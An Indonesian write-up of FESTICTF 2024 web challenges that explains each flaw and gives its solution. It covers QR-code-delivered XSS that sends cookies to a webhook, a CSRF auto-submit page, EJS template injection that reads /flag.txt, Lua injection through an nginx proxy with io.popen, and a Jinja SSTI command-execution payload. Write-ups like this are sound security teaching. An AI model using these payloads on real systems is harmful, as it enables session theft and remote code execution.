FESTICTF 2024

Individualize event

Name
Category
Vuln

App

Web Exploitation

SSTI Lua, Misconfig

Bot

Web Exploitation

XSS, CSRF

JS

Web Exploitation

SSTI EJS

Classic Calculator

Web Exploitation

SSTI Jinja

App Bot JS

Attachment

File Attachment

Summary

Ini merupakan multi vulnerable challenge, dimana dalam 1 source yang sama terdapat 3 vuln yang berbeda. Pertama untuk App vulnerable terhadap SSTI Lua via Nginx Proxy, lalu Bot vulnerable terhadap XSS dan CSRF, dan terkahir untuk JS vulnerable terhadapat SSTI EJS.

Solution

Terdapat source code utama dari web yang disediakan yang dapat menjadi pintu masuk dari semua vulnerability yang ada, yaitu berikut

index.js
const express = require("express");
const multer = require("multer");
const qrnode = require("qrnode");
const ejs = require("ejs");

function decodeQr(path) {
  return new Promise((resolve, _) => {
    return qrnode.detect(path, (data) => {
      resolve(data);
    });
  });
}

const app = express();
const upload = multer({ dest: "uploads/", limits: { fileSize: 10000 } });

app.set("view engine", "ejs");
app.set("views", "views");

app.get("/", (req, res) => {
  res.render("index");
});

app.post("/upload", upload.single("qrcode"), async (req, res) => {
  console.log(req.file.path);
  try {
    const qrCode = await decodeQr(req.file.path);
    if (qrCode.startsWith("http") || qrCode.startsWith("https")) {
      res.send(
        ejs.render(`<script>window.location.href = '${qrCode}';</script>`)
      );
    } else {
      res.send(
        ejs.render(
          `<script>window.location.href = 'https://www.google.com/search?q=${qrCode}';</script>`
        )
      );
    }
  } catch (error) {
    res.send("Error");
  }
});

app.listen(3000, () => console.log("Server is running on port 3000"));

Jika, dilihat ada yang menarik pada endpoint /upload, dimana fungsionalitas adalah membaca qrcode yang diupload dan membaca konten dari qrcode tersebut untuk dirender.

Ada beberapa hal disini yang menarik, yaitu

  1. Menggunakan ejs.render untuk merender kontennya

  2. Tidak ada filtering pada saat melakukan render

Hal ini dapat menyebabkan terjadinya sebuah vulnerability.

Dan sebelum lanjut, berikut adalah script python yang dapat digunakan untuk men-generate qrcodenya

gen.py
import qrcode

data = input("QR Content: ")

img = qrcode.make(data)

img.save("qr.png")

Bot

Pertama kita akan melakukan exploit terhadap bot nya, yaitu dengan XSS. Dapat memanfaatkan dari segi rendering yang tidak difilter, jadi bisa men-generate qrcode dengan isi konten sebagai berikut, untuk melakukan abusing code nya dan mendapatkan cookie lalu dikirim ke webhook

https://webhook.com' + document.cookie //

Setelah tergenerate kita harus membuat kode html yang harus di host ke third party, karena tadi method yang digunakan adalah POST, dimana perlu untuk memanfaatkan vulnerability CSRF, dan berikut kode html nya

solver.html
<!DOCTYPE html>
<html>
  <head>
    <title>Document</title>
  </head>
  <body>
    <script>
      (async () => {
        const blob = await (await fetch("./qr.png")).blob();
        const file = new File([blob], "qr.png", { type: "image/png" }, "utf-8");
        const c = new DataTransfer();
        c.items.add(file);

        const form = document.createElement("form");
        form.method = "POST";
        form.action = "http://soal-festi2024.udb.ac.id/upload";
        form.enctype = "multipart/form-data";

        const input = document.createElement("input");
        input.name = "qrcode";
        input.type = "file";
        input.files = c.files;

        form.appendChild(input);
        document.body.appendChild(form);
        form.submit();
      })();
    </script>
  </body>
</html>

Jika sudah, host file html dan file qrcode tadi dan lalu masukkan url host nya ke url bot, kemudian tunggu diwebhook dan akan mendapatkan flagnya.

JS

Untuk ini vulnerable terhadapat SSTI EJS, karena rendering kontennya menggunakan ejs.render dan tidak ada sanitasi apapun.

Yang perlu diketahui bahwa flagnya ada didalam sistem yaitu di /flag.txt yang bisa diketahui lewat file Dockerfile.

Cukup simple, hanya tinggal melakukan generate qrcode dengan isi konten ejs syntax, yaitu sebagai berikut, yang fungsinya untuk melakukan include sebuah file

<%- include('/flag.txt'); %>

Jika sudah ter-generate langsung saja execute command berikut

curl "http://soal-festi2024.udb.ac.id/upload" -X POST -F "qrcode=@qr.png"

Setelah dijalankan maka akan langsung mendapatkan flagnya.

App

Yang terakhir, sebenarnya ini adalah app yang digunakan untuk melakukan proxy melalui server nginx, berikut konfigurasi proxynya

proxy.conf
server {
    listen 80;
    absolute_redirect off;

    location /report/ {
        proxy_pass http://bot:3000/;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    location / {
        proxy_pass http://js:3000/;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    location /dev/ {
        default_type 'text/html';
        proxy_pass http://js:3000/;
        rewrite ^/dev/(.*)$ /$1 break;
        content_by_lua_block {
            local url = ngx.var.uri;
            local method = ngx.req.get_method();
            local body = nil;
            if method == 'POST' then
                ngx.req.read_body();
                body = ngx.req.get_body_data();
            end
            if method == 'POST' then
                method = ngx.HTTP_POST;
            else
                method = ngx.HTTP_GET;
            end
            local res = ngx.location.capture(url, { method = method, body = body });
            local template = io.open('/var/www/html/index.lua'):read('*a');
            template = template:gsub('{{response}}', res.body);
            local f = loadstring(template);
            f()
        }
    }
}

Terdapat proxy endpoint yaitu /dev/ yang dimana melakukan proxy untuk melakukan load dari kode lua.

Berikut lua code yang digunakan

index.lua
local response = [[{{response}}]]
response = '<textarea>' .. response .. '</textarea>'

-- HTML and CSS structure
local html = [[
<!DOCTYPE html>
<html>
<head>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #f0f0f0;
        }
        .container {
            width: 80%;
            max-width: 800px;
            margin: auto;
        }
        textarea {
            width: 100%;
            height: 300px;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
            background-color: #fff;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
            resize: none;
        }
    </style>
</head>
<body>
    <div class="container">
        ]] .. response .. [[
    </div>
</body>
</html>
]]

ngx.print(html)

Jika dilihat lebih teliti dari bagian konfigurasi proxy /dev/, sebenernya endpoint ini akan melakukan rendering konten dari request yang diberikan dimana endpoint yang diberikan relative terhadap endpoint saat ini, dan dilakukan rewrite uri /dev/, sehingga uri /dev/ sebenarnya tidak masuk ke dalam request.

Dan lebih teliti lagi bahwa proxy tersebut melakukan behavior yang sama dengan apa yang direquest oleh user, yaitu method dan body mengikuti request dari user, dan lalu response dari requestnya kemudian akan dirender ke lua code nya.

Lalu pada bagian lua code terdapat 2 kali assignment variable, dimana ini bisa menjadi vulnerable terhadapat SSTI, dan jika diketahui value dari kontennya pun dapat dikontrol dari user.

Berikut flow attackingnya

  1. Melakukan request ke /dev/upload, yang nantinya proxy tersebut akan melakukan request /upload

  2. Menggunakan method POST, dan juga mengirim file qrcode

  3. Isi konten file qrcode dengan kode injection lua

Berikut isi konten yang dapat dimasukkan ke qrcode nya sebagai injection lua nya

]] .. (io.popen('<cmd>'):read('*a')) .. [[

Tinggal ubah ubah saja value cmd diatas untuk mencari flagnya, dan lalu bisa kirim request dengan command berikut

curl "http://soal-festi2024.udb.ac.id/dev/upload" -X POST -F "qrcode=@qr.png"

Classic Calculator

Attachment

File Attachment

Description

Classic, basic, and common template for calculator apps.

You know what to do ...

Summary

Ini adalah simple app, dimana vulnerable terhadap SSTI Jinja

Solution

Dalam source file nya langsung terlihat bahwa terdapat vulnerability SSTI Jinja

@app.route('/', methods = ['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        ex = request.form['expression']
        if ex == None or ex == '':
            return 'tidak ada data yang dikirim'
        
        res = "Hasil: {}".format('{{' + ex + '}}')

        return render_template('index.html', result = render_template_string(res))

Langsung saja untuk exploit dapat menggunakan payload berikut yang dapat dikirim ke input websitenya

lipsum.__globals__['os'].popen('<cmd>').read()

Tinggal sesuaikan saja value cmd untuk bisa mendapatkan flagnya

Last updated